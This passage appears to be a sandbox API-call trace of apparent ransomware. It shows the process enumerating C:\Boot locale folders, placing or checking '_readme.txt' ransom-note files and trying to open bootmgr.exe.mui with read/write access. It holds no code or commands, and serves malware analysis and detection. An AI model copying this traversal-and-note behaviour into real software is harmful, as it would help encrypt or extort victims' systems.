returned=".mui" [0059.656] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.656] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30181a8 | out: hHeap=0x670000) returned 1 [0059.656] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c94a50, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13c94a50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c94a50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.656] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.656] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.656] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.656] PathFindExtensionW (pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned=".txt" [0059.656] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30181a8 | out: hHeap=0x670000) returned 1 [0059.657] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c94a50, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13c94a50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c94a50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.657] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.657] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.657] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5478 | out: hHeap=0x670000) returned 1 [0059.657] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.657] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5478 [0059.657] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.657] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.657] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.657] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.657] PathFindFileNameW (pszPath="C:\\Boot\\tr-TR\\") returned="tr-TR\\" [0059.657] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.657] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.657] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.657] PathFindFileNameW (pszPath="") returned="" [0059.657] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.657] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.657] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.657] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.657] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.658] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8230 [0059.658] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.658] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.658] PathAppendW (in: pszPath="C:\\Boot\\tr-TR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 1 [0059.658] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.658] PathFileExistsW (pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned 1 [0059.658] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.658] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.658] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.658] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.658] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018118 [0059.658] PathFindExtensionW (pszPath="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned=".mui" [0059.658] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.658] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13cbabb0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.658] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.658] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018118 [0059.658] PathFindExtensionW (pszPath="C:\\Boot\\tr-TR\\_readme.txt") returned=".txt" [0059.658] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13cbabb0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.659] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.659] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.659] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5478 [0059.659] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.659] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.659] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.659] PathFindFileNameW (pszPath="C:\\Boot\\zh-CN\\") returned="zh-CN\\" [0059.659] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.659] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.659] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.659] PathFindFileNameW (pszPath="") returned="" [0059.660] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.660] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.660] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.660] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.660] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.660] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8ab8 [0059.660] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.660] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.660] PathAppendW (in: pszPath="C:\\Boot\\zh-CN\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 1 [0059.660] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.660] PathFileExistsW (pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 1 [0059.660] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.660] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.661] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.661] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.661] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.661] PathFindExtensionW (pszPath="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned=".mui" [0059.661] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.661] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13cbabb0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.661] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.661] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.661] PathFindExtensionW (pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned=".txt" [0059.661] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13cbabb0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.661] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.661] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.661] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5478 [0059.661] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.661] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.661] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.661] PathFindFileNameW (pszPath="C:\\Boot\\zh-HK\\") returned="zh-HK\\" [0059.661] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.661] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.661] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.661] PathFindFileNameW (pszPath="") returned="" [0059.661] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.661] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.662] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.662] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.662] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.662] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8230 [0059.662] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.662] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.662] PathAppendW (in: pszPath="C:\\Boot\\zh-HK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 1 [0059.662] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.662] PathFileExistsW (pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 1 [0059.662] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13ce0d10, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13ce0d10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.662] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13ce0d10, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13ce0d10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.662] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.662] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.662] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018118 [0059.663] PathFindExtensionW (pszPath="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned=".mui" [0059.663] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.663] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13ce0d10, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13ce0d10, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13ce0d10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.663] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.663] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018118 [0059.663] PathFindExtensionW (pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned=".txt" [0059.663] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13ce0d10, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13ce0d10, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13ce0d10, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.663] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.663] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.663] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5478 [0059.663] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.663] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.663] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.663] PathFindFileNameW (pszPath="C:\\Boot\\zh-TW\\") returned="zh-TW\\" [0059.663] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.663] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.663] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.663] PathFindFileNameW (pszPath="") returned="" [0059.663] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.663] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.664] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.664] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.664] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.664] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8ab8 [0059.664] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.664] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.664] PathAppendW (in: pszPath="C:\\Boot\\zh-TW\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 1 [0059.664] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.664] PathFileExistsW (pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 1 [0059.664] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13d06e70, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d06e70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.664] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13d06e70, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d06e70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.664] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.664] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.664] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.664] PathFindExtensionW (pszPath="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned=".mui" [0059.664] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.665] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13d06e70, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13d06e70, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d06e70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.665] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.665] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.665] PathFindExtensionW (pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned=".txt" [0059.665] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13d06e70, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13d06e70, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d06e70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.665] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.665] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.665] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.665] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, 